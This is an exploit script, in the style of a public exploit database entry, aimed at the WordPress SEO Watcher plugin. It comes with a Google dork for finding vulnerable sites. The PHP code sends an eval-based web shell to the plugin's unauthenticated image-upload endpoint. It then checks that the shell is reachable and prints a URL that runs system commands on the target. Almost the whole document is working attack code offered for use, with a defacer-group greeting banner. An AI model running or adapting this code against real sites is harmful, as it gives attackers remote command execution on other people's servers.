WordPress SEO Watcher plugin remote code execution exploit.
f4717c8b12ddb539492284d5c7dfd2d0f0f2fa6e209a9c9fa7e6515d4d4d7940
# Exploit Title: seo-watcher plugins execute arbitrary PHP code Exploit
# Google Dork: inurl:/wp-content/plugins/seo-watcher/ inurl:wp-content/plugins/seo-watcher/
# Date: [03-10-2013]
# Exploit Author: wantexz
# Vendor Homepage:http://wordpress.org/
# Software Link: http://wordpress.org//
# Version: [http://wordpress.org/]
# Tested on: [wantexz]
# CVE : [just fun]
<?php
# seo-watcher ~ Exploit
# http://indonesiancoder.com/
echo <<<EOT
-----------------------------------
/ seo-watcher ~ Exploit \
\ Author: wantexz /
-----------------------------------
################################################################################################
# author: wantexz
#
# thank to : tukulesto,arianom,cimpli,jack_jahat,k4L0NG666,Br3NG0S,Xr0b0t,blie,KaMtiEz,Mboys
# all indonesian coder, indonesian defacer, kill-9 ,jatimcom , malangcyber
#
################################################################################################
EOT;
$options = getopt('u:f:');
if(!isset($options['u'], $options['f']))
die("\n Usage example: php IDC.php -u http://target.com/ -f shell.php\n
-u http://target.com/ The full path to Joomla!
-f shell.php The name of the file to create.\n");
$url = $options['u'];
$file = $options['f'];
$shell = "{$url}/wp-content/plugins/seo-watcher/ofc/tmp-upload-images/{$file}";
$url = "{$url}/wp-content/plugins/seo-watcher/ofc/php-ofc-library/ofc_upload_image.php?name={$file}";
$data = "<?php eval(\$_GET['cmd']); ?>";
$headers = array('User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:15.0) Gecko/20100101 Firefox/15.0.1',
'Content-Type: text/plain');
echo " [+] Submitting request to: {$options['u']}\n";
$handle = curl_init();
curl_setopt($handle, CURLOPT_URL, $url);
curl_setopt($handle, CURLOPT_HTTPHEADER, $headers);
curl_setopt($handle, CURLOPT_POSTFIELDS, $data);
curl_setopt($handle, CURLOPT_RETURNTRANSFER, true);
$source = curl_exec($handle);
curl_close($handle);
if(!strpos($source, 'Undefined variable: HTTP_RAW_POST_DATA') && @fopen($shell, 'r'))
{
echo " [+] Exploit completed successfully!\n";
echo " ______________________________________________\n\n {$shell}?cmd=system('id');\n";
}
else
{
die(" [+] Exploit was unsuccessful.\n");
}
?>